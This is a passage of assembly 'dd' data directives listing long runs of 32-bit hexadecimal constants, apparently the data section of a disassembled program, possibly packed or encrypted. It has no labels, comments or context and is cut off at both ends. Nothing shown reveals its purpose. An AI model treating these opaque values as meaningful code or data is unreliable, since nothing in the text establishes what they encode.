291615B5h, 0DC3DDC0h, 59C02E11h dd 1DD7101Eh, 0C8CDE2D1h, 0E60B2A2Dh, 25D07670h, 36C566D5h dd 620BB68h, 0E9FA2905h, 0C3E43474h, 58F14095h, 0C39D6112h dd 26C25509h, 7AC2D311h, 15B76F9Ch, 300BB2EDh, 5F40E30Fh dd 3D262A68h, 0A3DA5282h, 6BC9CB9Fh, 600B866h, 8135C611h dd 255CC3CEh, 0F60732EDh, 0F166543Ch, 0F4FA0014h, 5115DD61h dd 4BC2F001h, 0E91654CFh, 0C87984F1h, 52015DD2h, 660D6853h dd 5281092Fh, 942AA5EBh, 9CBD405Eh, 551464C4h, 0B4B35A53h dd 502DBAECh, 0D0B5F51Bh, 8710B6A0h, 5581A14h, 4FE91606h dd 19E15D53h, 0BEC0A36Ch, 42E73C05h, 69A8E916h, 0D152F263h dd 6181567Fh, 300D5DBDh, 0E65700Ah, 137C57E8h, 0DE948F9Dh dd 32CCF5C1h, 2B1BA8h, 0D0DA5363h, 0E80A01F9h, 8F02055Dh dd 0C3590E70h, 3E5C016h, 36EECBC1h, 0C59F5D04h, 0F8D33DE9h dd 3DC7DCADh, 0D8293041h, 0F420B08Bh, 0FD26F430h, 0F149399Ch dd 924E6AD8h, 90270450h, 7C810C1h, 198117Ah, 8352C312h dd 88308E80h, 1FC0BA08h, 0D20692F5h, 48F6EAh, 4311DDCAh dd 402FE970h, 0BBA0091Fh, 4F09152Dh, 0C10126FDh, 433848C9h dd 9CF4BB76h, 644B6462h, 86698354h, 0E238D951h, 0F0FD85C3h dd 72FE551Bh, 0B89774E3h, 8A51391h, 0E9042FFBh, 0F5CC7EB0h dd 3A503F3h, 53573862h, 16CFE001h, 68E94354h, 34877564h dd 800647F9h, 0C87E71C4h, 302A2890h, 36905149h, 3C473201h dd 0D0F7925Dh, 0CFE484CEh, 0A2C5942h, 5AA00E6Bh, 5C583E68h dd 0A1B5C1F1h, 31BFD7E9h, 2F22B895h, 97F57378h, 4D258238h dd 4256B225h, 9070902h, 0E337F86Ah, 8A5EF548h, 5AD5484Eh dd 0CD445F5Dh, 1023267h, 4D715EF3h, 6CD25C9Fh, 2DBAE241h dd 70303625h, 5FBF02CAh, 0DAF7290Eh, 7D05F77Ch, 0C18016F2h dd 58491CA7h, 33FCA41h, 7CE904FCh, 0EC2144DCh, 5F31102Eh dd 0A980355Bh, 0B8BAD887h, 182913A3h, 2578A60Ch, 5546021h dd 0B7E16AEh, 2D31003Ch, 0B14D98B7h, 9A01D490h, 0E90F935Eh dd 4334D4EDh, 0BBD0D5E0h, 5BDF290Fh, 0F487F94Dh, 1BD346F6h dd 0D9AAE104h, 8A27C9F9h, 0F289CD09h, 6153EA6Ah, 0D7B01A12h dd 2568175Ch, 0E2823720h, 4DC81665h, 0D3E4E288h, 25C58DF4h dd 0E0C0555Ah, 5B3E052Eh, 0C149282Ah, 0A603E22Ah, 0B1D2F728h dd 0AFACD3Eh, 19D589F5h, 57C961E9h, 5F220422h, 4E6DE910h dd 658486Ch, 145ECFA0h, 29F0510Bh, 0FBFA85D7h, 0E916ABF6h dd 0B8F0C0C9h, 5926658Fh, 250A392Eh, 0EB809868h, 6FB52D5Dh dd 492B4CE5h, 14070528h, 8FB9515Bh, 3153880Bh, 0E627DD58h dd 0B272EEEEh, 0D21D1432h, 8004E118h, 80738266h, 851309EEh dd 1825725Dh, 0EF3351D9h, 483B7F11h, 579F6716h, 0B8943033h dd 6C300711h, 6EC8602h, 167B822h, 0F74AF5F1h, 35A9E90Ch dd 0B60E2A95h, 0AB6883CCh, 0D861EA3Eh, 0FB5F541Dh, 918F975Eh dd 0BC48DFA4h, 58BDA2CCh, 0E6C11CAEh, 92EEDF05h, 0BB75256h dd 0E79682F8h, 0B4F21C40h, 41A63090h, 5B4CC731h, 1343052Fh dd 0D9026AD1h, 66D72DE9h, 0F0AF9CF2h, 5B4EDA31h, 0D6058600h dd 0F111C417h, 7009421h, 931BE56h, 294F822Ah, 0E4E9B082h dd 0BB04A370h, 0D3E7EFEh, 4AA80182h, 52457CD9h, 0D2811C58h dd 0C76A4201h, 37427E74h, 2F0B0A70h, 6288350Fh, 8E7C105h dd 1CFCE201h, 40F9395Ah, 0F689053Eh, 83E608D6h, 47F2B27h dd 0FEC8D094h, 7163F5FDh dd 7A2E7252h, 8AB0E8F9h, 88D25B42h, 0EB27BE1Bh, 76BAA0E4h dd 5C29F05Dh, 0BA7DE0D1h, 4A8BFA17h, 83C82C1Ch, 8CBE02ECh dd 66FCE904h, 1F04CBADh, 6517D78h, 0B136981Dh, 0F42CB295h dd 0DB26B771h, 0CBBFE330h, 0B9B04C6Dh, 4E877C2Dh, 2C2E15Bh dd 84A97C52h, 24FC4F9Fh, 0AA89558Bh, 0E910C7C6h, 0BA1D3E52h dd 54928B74h, 0E4299BA7h, 0C31BA85Dh, 0C2A4BF57h, 0F76760A1h dd 0E90DC2A0h, 427A4CABh, 0E188781Eh, 0C6CAADF9h, 9CE92763h dd 323410Ah, 812010Eh, 2B2481D9h, 0BD638431h, 2E875D01h dd 57C68A27h, 58809D19h, 377562ACh, 4CF94BF8h, 10256891h dd 0B5FC6421h, 62017B99h, 8AE14874h, 8180AF32h, 0BE2D64F3h dd 0C69B87Ch, 6B7D799Ah, 8E2E4C0Ch, 0D81546CBh, 3A5627F0h dd 0C2395E64h, 1A4AD6E9h, 69598509h, 0C317ED4Ah, 78B25250h dd 0A185D04Bh, 22D3C7B2h, 78D45238h, 48E9C1F0h, 53A0F20Bh dd 5E2893BBh, 0E300FCB8h, 583D7C2Fh, 0C443DBF7h, 0C50C78E0h dd 0C311B0EDh, 0E5978B02h, 0CA3BE9A0h, 62C17952h, 210F0BB3h dd 2CD8281Bh, 60EE53D1h, 0B1CD333Bh, 0B26395A0h, 81D9290Bh dd 0CB22C600h, 0E6FD5B55h, 8579806Ah, 4067DD9Fh, 9ADBE918h dd 0C9FE07A8h, 0A235F180h, 0A6D343DAh, 0E0027DA4h, 0E263BF3Bh dd 5566131h, 1884FE50h, 2B315C88h, 33166817h, 8FC9516Bh dd 6D493F5Ah, 6E10AA0Ah, 3716E003h, 0C4C8DB0Bh, 0BDE60012h dd 7AC14D1Eh, 353B3EB0h, 2E532618h, 0EAA01A1Ch, 0ABC6003h dd 802EB652h, 2812EE7Eh, 16B65AF0h, 401E7610h, 7B03EBCCh dd 136B266h, 0D4A6F2C3h, 0CB6806EBh, 1627310Ah, 78643A54h dd 8AC63CAFh, 0E9485A82h, 0DCDCEBE3h, 27BE1B6Ah, 51450BFEh dd 0BF526307h, 68AD341Ch, 0BB31492h, 0F60DA401h, 6CBBE92Bh dd 412850BAh, 17380524h, 631FAF00h, 2DD931EBh, 0E18234E9h dd 0C2D61C87h, 0BD0C0850h, 0A9B6E298h, 5AF18813h, 0F6591600h dd 48C280D2h, 0ED16253Dh, 0E9490328h, 0AD504130h, 11B84E34h dd 4B5B10Eh, 0C203BDA3h, 998BC580h, 43791EF5h, 0B8E8DB40h dd 0E9C80BDEh, 47520785h, 8B68C2EFh, 1C4A7721h, 4165F198h dd 0C93D300Dh, 16B3141h, 0F12E1595h, 0C682705Fh, 62583A78h dd 3CD03EC0h, 0D9F71264h, 521CC313h, 0D47D9BC3h, 505EC2CAh dd 4AF5FA89h, 0F29F89BAh, 84FB7A64h, 39685919h, 5F48BDA3h dd 0E89900D3h, 296A492Eh, 158C109h, 20CA8FF1h, 0F71B1510h dd 0CF90C0DFh, 0E97AA1C0h, 4984A44Ah, 0C2184A81h, 3AE78100h dd 378A7216h, 20C4A61Dh, 7B803F95h, 4C25351h, 5FFE3154h dd 0F69A8101h, 4B6D7F2Eh, 46220609h, 0B3F5134Ah, 8C299399h dd 425C27DAh, 7FE953DDh, 0E90E855Bh, 0CEAC3883h, 565157C0h dd 4575B268h, 1A41325Ch, 0C9A334E8h, 7BCEE39Ch, 1062AD9Bh dd 817B2C4Ah, 22368B0Dh, 68B52D2Ah, 10A9A733h, 81548A14h dd 76B0D85Fh, 0F1F11295h, 89E9613Bh, 92622C27h, 0EA23A772h dd 2CB559A2h, 169884Eh, 3091BE00h, 62090522h, 5C33F4F3h dd 0FC62B856h, 2650F9DBh, 4A6610C9h, 1E75A080h, 0F061725Fh dd 0E907A0EFh, 282394CFh, 6E011233h, 207B0902h, 0DA257043h dd 6786428Ch, 0CE45A779h, 47850E96h, 71D12182h, 0C95394D8h dd 0C37AB304h, 3DBEFC0Fh, 7F2701CFh, 3EFC16Ah, 146DE0E7h dd 47493023h, 7C8E8BAEh, 5B57DD12h, 16D84A0Bh, 0C8293048h dd 0FE79B15Ch, 3D4F2330h, 60CE142Eh, 12C70E39h, 2A641E10h dd 0AE806A64h, 5CF8296Ch, 0C31D2A5Fh, 7664412Bh, 694960E9h dd 163012AFh, 0D2C88EA9h, 3B90C42h, 9E48F989h, 58CC4D64h dd 9D46D8C3h, 8DA0BDCDh, 4D697F08h, 0ADDE893Eh, 4C7442B9h dd 9A92F696h, 0FC881CCAh, 8DE7DE5Bh, 489762C4h, 0DE2D6899h dd 821C9A4Fh, 17C1D9h, 8E18982Dh, 0A416D24Fh, 26A6FC00h dd 0A25E6AC8h, 40FA5C98h, 0AE4CBDEFh, 5129643Bh, 87080097h dd 0EA49E9FDh, 3462445h, 0BCA9893Bh, 4F5546C3h, 4B9A0E1Fh dd 88FB54C4h, 7D4C7221h, 0A76FCABDh, 4CB80AB3h, 522C01E3h dd 0D43B3B02h, 0E3F25930h, 2E4DE958h, 4E284B61h, 95F4BA09h dd 2EB0934Fh, 4FC368h, 9582A34h, 234BE9C2h, 40D997D0h dd 1213F686h, 0F6B01B32h, 30CD16E7h, 0EFF50092h, 28B70DC2h dd 0D4FA3133h, 0B2E56Ch, 0CECBD94Eh, 9DAA5F13h, 0A0D0D203h dd 98B7F020h, 2F174160h, 5F1D8613h, 2FF4DD17h, 6AC741EDh dd 0E9D57249h, 79DDC5F1h, 64206B90h, 2056C458h, 48366800h dd 55451D9Ch, 0EDA2CEA8h, 94146112h, 50267D2Ch, 0EC9718B4h dd 81025E7Dh, 5A4447F6h, 34CDE5Dh, 37541535h, 0E9C6100Bh dd 5FAE416Eh, 99074638h, 0DB27C844h, 0B80112FAh, 7796A3EAh dd 221C789h, 0F0051981h, 0E80E8F23h, 1A9F2A10h, 0B69C2123h dd 0C0FC5362h, 6FDB83BEh, 78B174FEh, 8882D314h, 0BCC6A042h dd 6E95889h, 0BFA880B5h, 0C4AA66AFh, 0E239105Ah, 5BD297B7h dd 0A2124051h, 25B42455h, 0C663256Bh, 612BDC0h, 12560F0h dd 4F0271EFh, 681FC76Fh, 0C36A9813h, 8E3C11Dh, 4B9BEB9Bh dd 0BBCB8188h, 474D7404h, 97F19EE9h, 660D316Ah, 0CF734129h dd 575801B6h, 0EAC87769h, 21DD2438h, 0A304DB17h, 0CFF93969h dd 143E8C84h, 2FDE1269h, 5DA95A34h, 5862DF4Ah, 19D85B74h dd 0D06DB31h, 4B25B55Dh, 5921F74Bh, 25DA6BB7h, 0E0E9521Fh dd 4798EA2Ah, 0C795A670h, 8BD626AFh, 0A080E9h, 0FC4ABAB8h dd 21A6D6Bh, 0FC0B24B8h, 6BC6EBA3h, 90350720h, 0B8CF40B8h dd 0DC0FD30Fh, 0C04B76Dh, 0AF2CBAh, 16B0579h, 0E9271BB0h dd 523C613Dh, 9AFF5774h, 59BF224Ah, 9020E377h, 5585B2Bh dd 167C311Eh, 510138ABh, 0BBF4B40h, 21870630h, 7E5D5300h dd 0CC16526h, 53EA2498h, 79A2620h, 0E923A962h, 1DC709F8h dd 0E4A9173Fh, 0CC540A33h, 985CA4BBh, 455C67EEh, 0ED7CD65Bh dd 0EB082FE9h, 43202EC6h, 6060AA3Eh, 2EF9AA0h, 0DA21508Ch dd 5356A3E9h, 0D8DA2C18h, 0B2520251h, 2A586804h, 0B3034966h dd 0B1EB803Ch, 0C1029AC0h, 0A7766E89h, 559A885Ah, 0BA54B560h dd 0CA3485h, 96E28133h, 0E959D14Fh, 6925BB24h, 51C20182h dd 0EB2940B9h, 0B850006Bh, 2B3C63A7h, 91B23EE9h, 7E72565Eh dd 7B90425Ch, 64E42F56h, 39EE810Eh, 1402217h, 0A86C2FEh dd 27170B08h, 4F7D49A6h, 0E046250Fh, 6606498Eh, 4DBA34DCh dd 22E9160Bh, 0DF9CF218h, 291D3849h, 0A44CE0DBh, 0C78BC031h dd 62A730AEh, 213E70F3h, 4D59CD06h, 0B252AE9h, 0F828DFB7h dd 407F988Ah, 0AFE9692Ch, 84D2F05Ch, 0F5A05BDEh, 0BF09B52Ah dd 0D0F6B383h, 0C975C1A4h, 53D79774h, 0C3CD4681h, 8C30C354h dd 350749C1h, 415E6FCEh, 0E468ACBBh, 507361h, 0DEF667B6h dd 76B75350h, 80D70E6Ch, 0F765F1CFh, 6A77D631h, 1199E91Ah dd 0E6B1503Ah, 31131F06h, 80C353CAh, 0EE305B8Ah, 4C95299h dd 290BBC8Fh, 9351F007h, 8B1E6FD4h, 0A01355E2h, 95EE37B4h dd 0F5ED6664h, 0D4EE358Dh, 0ACCB41Dh, 41D63257h, 0D52B28C9h dd 5E5F04E9h, 8AA8E1E9h, 6016B748h, 4F65B2ECh, 5097C822h dd 0DC882DD4h, 6794940Bh, 0CC5C507Fh, 3CF57EFAh, 24E9A8FDh dd 6399239Bh, 353FF1F7h, 8D0A2556h, 0E5E34DFCh, 2C1CEBACh dd 22A399D3h, 40AD02CCh, 1D233568h, 0AF016493h, 0CB882A45h dd 61884017h, 5A6422E0h, 0A7D48B6Ah, 2526F5E4h, 0F1D0B807h dd 6D5C980Ah, 0F91A8E57h dd 4BF5C83h, 8669585Dh, 883E2D8h, 687230D5h, 25912DBDh dd 0FD000BA8h, 0BA50D71Eh, 5C6B034Fh, 0E913E71Bh, 0E81A8549h dd 99AB2C87h, 4852D242h, 81B3310Fh, 297F2089h, 0AB31F34Fh dd 0BE248F66h, 0E5E6822Fh, 3B2A1391h, 0D45AEEBCh, 74451300h dd 0E9302030h, 0EB913895h, 712CE1A0h, 0E40A95Dh, 0C15AF574h dd 0FD22A10Ch, 7B0F0103h, 0D1A60A2Bh, 0D10820AAh, 0A37C140Ch dd 0CA9A8D20h, 5DC51859h, 99CBA8F1h, 0B502499Eh, 0E72BC8E1h dd 171A1E43h, 972D41A8h, 5EE2002Fh, 292A1805h, 0EB5DEA28h dd 0D1094D76h, 0C8D30114h, 0B166EED3h, 9F16BCCEh, 45A6CA6Ah dd 12E50AB8h, 9AC91232h, 0A5ACBD45h, 0C4185D3Fh, 0CB90C75h dd 692E3005h, 39CBD131h, 0E8E91661h, 72D38D2Bh, 8D2F02FFh dd 69A9211Bh, 73EF1046h, 4BF15128h, 0CEFC124Fh, 0BE560148h dd 1D6D1FE3h, 0A5963B78h, 484CD866h, 0C77E912h, 0F04AC1ADh dd 1D069923h, 7C294E79h, 0A46CF810h, 4ED5B00Ch, 31DA0403h dd 81EDD8DDh, 0A2AFF51Dh, 0C3E09093h, 0E4829738h, 89615749h dd 8C6800FBh, 0BE4BB122h, 22DA4ABFh, 60F95B4Bh, 0F8BA5243h dd 9035E860h, 0DFB69BDh, 0BC83C809h, 5D73FEA1h, 8423018h dd 95642CAAh, 0DE767A3Ah, 9C3407Ah, 22CF047Ah, 0F20F76E9h dd 0B4847E9h, 9053FDE9h, 0C05AD5AEh, 0FE410BFEh, 0ED37C135h dd 8D31203h, 0EF241763h, 0F2C0265Dh, 0C3984E4Ch, 10621768h dd 2B6BEA59h, 68853B59h, 8FB31E6Fh, 26501553h, 83F85430h dd 710A5CE1h, 65BF57C0h, 7679D603h, 0C25FFB27h, 80F959CAh dd 656036BAh, 0D3163107h, 2904535Ah, 2D00B21Fh, 9E42BBCh dd 3AA8051Dh, 0E82924C7h, 503E07CAh, 914CE911h, 7BE890D1h dd 66775312h, 0DA20812Dh, 4FCB5ED0h, 271DA257h, 0CF88AB00h dd 0FE2C5A59h, 671FD1C7h, 5413C06Eh, 0B24A7DB3h, 20B693D9h dd 5D779B4Ch, 5907203Ah, 3758E630h, 5D12CEF0h, 0B06A4D4Fh dd 54777F84h, 56D3D2h, 0EB803EB2h, 4B28493Dh, 82DB98F1h dd 1C5A06E3h, 0B60F950Ch, 0C4877CC0h, 0B859E983h, 505E13D2h dd 0D32FC637h, 6401D58Fh, 0E9028966h, 0A599BB1Eh, 8847792Ch dd 117E2B5h, 41A403E0h, 0B0D2202Bh, 75AF3F12h, 0BC5098B8h dd 7E49674h, 0B5BFA28h, 60EBA18Fh, 0E1402A49h, 5A734DDh dd 6E98907Eh, 5B948898h, 85685362h, 9D805B57h, 4C187D12h dd 8A5E5D2Fh, 21662546h, 462CC6AFh, 3E441D3Fh, 2CF1A4Ch dd 0ABC3F82Bh, 3882E9A0h, 8F4ED891h, 0E9E4AB86h, 0CA3AE5E9h dd 0EFD85F6Ah, 0D1CF4A67h, 3A1B15B9h, 3C58DE8Fh, 89AC1524h dd 0EFD6399Eh, 5AB8F5C0h, 8FE9888Eh, 78737469h, 457F8220h dd 0EB50A7BEh, 18333159h, 568ED5D6h, 0A7C0B68h, 7E405104h dd 0CE036BAFh, 0F7814F5Dh, 6908E9A1h, 189DE7D8h, 0C4AB768h dd 831F638Dh, 0B52CC14Bh, 73AC700h, 0A029306Ch, 91F089FFh dd 0AD80936h, 0EA970066h, 0E3BE41BCh, 30B20401h, 752D688Bh dd 0FAF46623h, 0E5BBBF3Bh, 543958D9h, 641DF013h, 6521FE40h dd 605E7BF3h, 0FDB0B80h, 75DA8530h, 0BC18B668h, 44F56216h dd 8F09EB64h, 81485C72h, 0B8505A61h, 0AA0147ADh, 2A4E3DE9h dd 80EE5340h, 0A16FB30Eh, 1B2825C9h, 0BE00844Eh, 0A65C3C28h dd 0FF8F2766h, 0BD512012h, 0C2947949h, 890BDAC5h, 668A0204h dd 0BDEF7BEFh, 2C80448h, 0AB24E99Eh, 0D831AD82h, 0DACBC052h dd 0F592508h, 4CE69D40h, 35D71C17h, 98D0050Ah, 1A03C482h dd 0C8017D74h, 7F863C0Ch, 0E7E83013h, 0D9290E09h, 0B8C1C300h dd 1F485249h, 7D5706FEh, 0D01E24ECh, 1C68081Ch, 0A2843014h dd 511FB77Ch, 0CE8FE6D1h, 28646CE5h, 0FF1C03EEh, 0F1019939h dd 0E307EE2Ah, 1F70BB98h, 44351425h, 626874B4h, 4682EF4Bh dd 3B248691h, 3ECDD435h, 304007AFh, 1D480BE9h, 91EAC3ABh dd 427AD242h, 5B3209Ch, 753B3CC7h, 70AF0F79h, 2D475F9Eh dd 2928A160h, 78ADAF0h, 0FA122028h, 97E919D0h, 0DDD76119h dd 0DD6765A9h, 0A3D570EAh, 7ECED649h, 9D26102Eh, 0AC1A4240h dd 6D1F71Dh, 0CAA0252Fh, 0B65C2467h, 0D7685041h, 542D3578h dd 40586331h, 8B28F29Fh, 2E96716h, 3C3E6AB1h, 1024689Ch dd 5C6C9925h, 234D03F3h, 1BACE944h, 0FCC2AB64h, 2F7B468Ah dd 0F1A1DA8h, 0B028E251h, 0E9F134F1h, 2810BD30h, 3959232Ch dd 0F326AC04h, 0C17BBAC8h, 39685C10h, 168F3656h, 0C704F0B2h dd 0DCADCBBFh, 0D21D3110h, 0BFC039B8h, 57BD10CFh, 64D7F726h dd 0EF810507h, 0A9A17D50h, 2753B056h, 0B720442Bh, 4C285F65h dd 0D5D242F6h, 0A25079E0h, 0BE724E9Eh, 0E95450F2h, 52B59427h dd 0EE801DF7h, 1E316EB4h, 0B3534692h, 1EDCE6B1h, 0E8B2CC30h dd 91FB4EE9h, 7B04EFD0h, 0C0B5E045h, 0A9C03E94h, 9DFBD55h dd 29198032h, 0D55D8F41h, 0EDF5455Ch, 321141E0h, 6858C10Fh dd 8C3A7FB9h, 153EA942h, 0E843A5FAh, 0F751082h, 0CE9A522h dd 936E50B0h, 3B1F1916h, 0E6714001h, 3F28C4E0h, 5FBEE90Bh dd 3D73E120h, 2CF74411h, 0CD9B08Eh, 0E94F0AA8h, 81DFB9E5h dd 5047AA2Dh, 5296E1Eh, 9764A330h, 64599387h, 3B57AC41h dd 7D6A8FBEh, 2048493Fh, 1CF68110h, 0A7DF0F5Eh, 0A5A4F331h dd 0C1C0935Ch, 3E6911B9h, 628C4228h, 2C11710h, 2055D229h dd 8F6B3BCFh, 3DB80220h, 904160F3h, 4AF482ABh, 98833939h dd 1F069EF7h, 137030E9h, 42EEB83Ah, 4838D700h, 506E8C1h dd 0B9190039h, 76402D60h, 7CDC619Ch, 5C987209h, 196F166Dh dd 649F9E4Ah, 0F94561Bh, 82419B50h, 578C2157h, 171AE789h dd 0F8B4C9E9h, 829193E8h, 5A7C2120h, 5414E902h, 225C164Dh dd 4D48C299h, 6900A835h, 42056FADh, 0F426E229h, 0FE4012DBh dd 3012015Dh, 34479701h, 87957380h, 0F1875E9Fh, 45EB82h dd 0D83362BDh, 5BFE7D5Ch, 0FE88D707h, 0FCF69272h, 0F0FBED1h dd 7D697636h, 4C9DB0D8h, 0F64A9503h, 0FA97BBDEh, 0C1D4B7E1h dd 10AD6AAh, 0A52B1774h, 6295EC7Ch, 63A58C9Eh, 6BB8A46Ah dd 6AE90840h, 1A6A3BA4h, 0ECABFE7h, 7052CC00h, 6BF37C5Eh dd 7C087410h, 0FC20C495h, 28832CAh, 0B56B2642h, 9F62A2B5h dd 7B2DFFC9h, 1B103D0Eh, 0F2810F2Ch, 4DA86470h, 2D5700ABh dd 0D626E2Eh, 0C5C0537h, 0FB6408Fh, 7C296C42h, 0E507A3E8h dd 1BA8111Eh, 914B3998h, 72684602h, 403E9A4Ah, 0E03E5CEh dd 0CE357B5Ch, 2D778200h, 0D9623C0Dh, 58903Eh, 45B3685Bh dd 0E0B920A8h, 14202838h, 0DEE1D1h, 632E232Bh, 1759CD29h dd 106E5C1h, 1E30FF21h, 5BDDF015h, 2AB471B0h, 501A526h dd 56AD740Ah, 0F6D2FD61h, 1EA626E0h, 0EC8009CAh, 6841BC54h dd 63366EB8h, 0F822C60Dh, 886205Ah, 54EA6BFh, 0B2B11EEBh dd 17AC2C80h, 660DC001h, 0CDB0028Fh, 575D01E3h, 894C307Fh dd 1045BDFh, 51A7E9FDh, 293CF2F9h, 0DE456036h, 9704EA3Ch dd 0D5C94361h, 4CE45D20h, 14819FF9h, 0F144BF65h, 0D3108250h dd 7F771D67h, 0EC204289h, 0C1612311h, 9A05ED28h, 378A84BFh dd 0F00CFE04h, 0AFD252FFh, 4F209DD0h, 12D209Eh, 56967596h dd 122A0F91h, 2078B800h, 48314600h, 7BC92D40h, 920761C4h dd 2AC15EE9h, 8842569Dh, 0A77FD3B2h, 0E99C2DCDh, 0C9C95417h dd 0B352C5E0h, 54500A99h, 47BE0BE0h, 27A8D916h, 1F3F0E3Fh dd 0E1CA2720h, 13843B78h, 89C2B3E9h, 0E4C5F7CBh, 22A45ABCh dd 8293FF69h, 9269E71Ah dd 2936453h, 7A0845ECh, 8871348Bh, 0E9515760h, 70AE6BD7h dd 2B5BA711h, 13A4C8Dh, 0BF38C88Dh, 9DFA4140h, 223C06D5h dd 949DDC56h, 0DF30343Bh, 8A4CE21Ch, 2B0BC851h, 2BF26Ch dd 2CFC18F7h, 315DEA89h, 5A06849Dh, 0E701C91h, 0C9405EE1h dd 0C5F6D59h, 51DEF754h, 0E44EDD90h, 0C223484Bh, 3E98C1E8h dd 94069F26h, 0DC7E8B4Eh, 0A50C6409h, 459F8087h, 9E67C02Ah dd 4FF38079h, 56319508h, 939E925h, 4B5EF400h, 220E382Ch dd 4B387604h, 228E08E9h, 0AF4C804Bh, 0DA12836Ah, 0EC152958h dd 51551FB9h, 40392780h, 0A0495941h, 2673D1F5h, 3BD2C8Dh dd 1AD6B674h, 775CF1DAh, 326AF32Eh, 65900A5h, 3E817AABh dd 8698E4EBh, 334DD847h, 1644C15Ch, 0B522E48h, 0B20BDBECh dd 4D52A6EDh, 715A434Ch, 0A731E597h, 0E90984E5h, 588CA4D9h dd 0B8828FF1h, 1EE5044Ah, 8A0587Ch, 0C66769FAh, 2710EB5Fh dd 0A30144A7h, 0E4EFCA81h, 4D13B747h, 0F588907Ch, 7630F68Dh dd 4BED0B17h, 3A0384C5h, 2307E0DDh, 0C34456F6h, 0D6F723h dd 8265EDA8h, 0CAF9E923h, 0D360BC9Ah, 0E54C707Eh, 15A121Ah dd 0CF0300FBh, 5F367119h, 4787E917h, 49AEEB4h, 4510FF0Ah dd 0A600EEF7h, 11E1A636h, 5DEE2F31h, 147F3C62h, 0E95C17C0h dd 59728245h, 506B007Fh, 4E337223h, 0C7F1F405h, 0E90141E1h dd 0AD5E2413h, 307F832Ch, 0A3840F03h, 0C6E300C8h, 786B65B2h dd 0FB6CEEE9h, 0B90580D3h, 68C52531h, 180F7526h, 7851AB32h dd 0D5BE2D90h, 0A46F34A1h, 10FF383Dh, 80175D98h, 0FDEB04EBh dd 776ED810h, 0C28BE260h, 5EBE53FCh, 962CC92Fh, 180E9336h dd 58E30603h, 0D064C12h, 0EF16497Eh, 4966C902h, 207D5546h dd 0F5543069h, 0F1E902Eh, 10CB2C61h, 0C0E4D9CEh, 3FA6C935h dd 0AFD2A04h, 6D595431h, 4FE485D9h, 0B9517D40h, 18FC0656h dd 0B58BE1Fh, 1497CE29h, 7C57A2A0h, 4066C9D4h, 59CFE93Eh dd 51120FACh, 0F68BBF86h, 24DBD0D4h, 3B59648Ah, 5980564Ch dd 50F0E180h, 2C13B00Fh, 77AEEFFh, 667058C1h, 0C443EFE9h dd 103BBFB7h, 0F33430B1h, 0E807AAB8h, 0C9BEEC56h, 2D0481Fh dd 2962E191h, 49147CD1h, 68563723h, 4115ADD5h, 9A3CBAFCh dd 0D90AA5AAh, 5229C8FCh, 0E9CE9855h, 0A320B784h, 514669C1h dd 0F9296214h, 0D50841E0h, 6FFF39B0h, 0E42CCB8Ch, 0C2681886h dd 59F6D509h, 82C3C0A9h, 8F6AD780h, 2E324072h, 6C4C3E32h dd 855FB458h, 0B455F8D5h, 92EBFDC8h, 0D1E48A8Ah, 4C9149FCh dd 401B0CEAh, 0D1B888C7h, 0B4C5802Eh, 734BE81Fh, 4A55544Dh dd 501110E7h, 85132E5Ah, 8018EC1h, 4E585587h, 0E102FE71h dd 18A24446h, 56DE30F3h, 6DFC7EC6h, 92436159h, 0CF4092F2h dd 2FDB59BCh, 4B08B86Fh, 0CFE978ADh, 0B6E979Ah, 0C2B087DBh dd 784C6D23h, 10533FDFh, 6078BDE1h, 0D4DE6CAh, 4BB84A3Ah dd 8EC4E7D3h, 66659DC0h, 811D0157h, 804059CEh, 9FA23003h dd 5F837626h, 0F1E5BA1Dh, 9EAE48CAh, 0CBC4D25Fh, 4E833BBCh dd 685CE741h, 0CC2B3416h, 1E45EF6Eh, 674C22BCh, 5F58F80Bh dd 884E4F07h, 71189920h, 0EDFAF528h, 0EF82B5BDh, 9B4B17E9h dd 0AB2E99C8h, 0E5814C05h, 0D0C06D53h, 1845D5F7h, 0BCDE15E9h dd 301E58B7h, 5A975BFAh, 545E4082h, 0B2DEE9DEh, 1EF1298Ch dd 1D4BECC1h, 0A8010279h, 0AA0883B5h, 63D032h, 0E49465B9h dd 59CF0149h, 6012C29Dh, 3EAB7478h, 0D379B59Ah, 0BD8AC53Ah dd 6964848Eh, 0B2DA8805h, 0CA80C067h, 13E2C06Ah, 0B4D66808h dd 0CE41DB5Ch, 41479002h, 0F3C04432h, 0BDB20E52h, 0D24DDAF6h dd 0EA80D809h, 0F2383B73h, 0BED32EC5h, 18AD4A5Ah, 0F8C3283Eh dd 22DC9850h, 0EE07219Eh, 2EFA7EC1h, 39E86FB4h, 3BABE2Eh dd 68577736h, 9754258Ah, 3E281C61h, 2F281FCh, 0CE72752h dd 7458AFE9h, 1028C39Eh, 0B9027C43h, 2D667FB8h, 5DB5B340h dd 0AB3B4C28h, 28EFE950h, 5FF9210Fh, 810600C1h, 266A37E1h dd 92642E0Bh, 4CE7ADF8h, 56088E5Ah, 5D2FDA8Ah, 6FE8AB27h dd 0AE11CE05h, 771AF031h, 4A016FD8h, 0CDCD54h, 2F41E90Ch dd 0C920489Fh, 7D3C9AD7h, 0A2FA3432h, 0A561EC0Ch, 2F92D20Bh dd 0D0FD4B51h, 5C68E9A5h, 0A4C051A2h, 6670B5BCh, 0F658E513h dd 0B5AFEFE0h, 0B3E932E0h, 0B70E709Eh, 66FC02F3h, 55A05F5Bh dd 80C4FE04h, 0D4E779EAh, 0E63F28CEh, 6EE0558h, 0B038E9h dd 916497BDh, 484A8F25h, 31D1ED38h, 3E2CBA15h, 0D80F0433h dd 0FE3F0455h, 4F411AF4h, 9D839BCh, 0ED327A06h, 130C5B52h dd 68834B9Ah, 0CDE28498h, 5E69F996h, 0B10A641h, 312F3B5Bh dd 2C44FF6Ah, 912B2A06h, 0EAC1875Ch, 0AC25E507h, 0CF3117AEh dd 124D3A1Eh, 0DEDD12ADh, 914F1630h, 2F8257Ch, 0CB80350Eh dd 0E5F36171h, 0A2F65E9h, 138D5D99h, 27690AE4h, 5C3C10A3h dd 3577457Ch, 94CD29C3h, 492D8548h, 7F2F9020h, 1631260h dd 8B110DEh, 8F5A1C69h, 0A18CEC96h, 7EB3961h, 609876BFh dd 0C30A6F01h, 7C1C3008h, 676F1A6Dh, 1302AEACh, 8253DA3h dd 0A1A7AAE8h, 52D4C9h, 903EBAAFh, 0FA89000Dh, 56B12D5Fh dd 5053894h, 33CA27E8h, 0BEBF71A0h, 0E0C10732h, 34A0F003h dd 0F77F02A8h, 0D5CB3504h, 9BC29761h, 52849058h, 7A11468h dd 0A27D549h, 0AFD446CAh, 0D7F20112h, 66141ED0h, 4E225931h dd 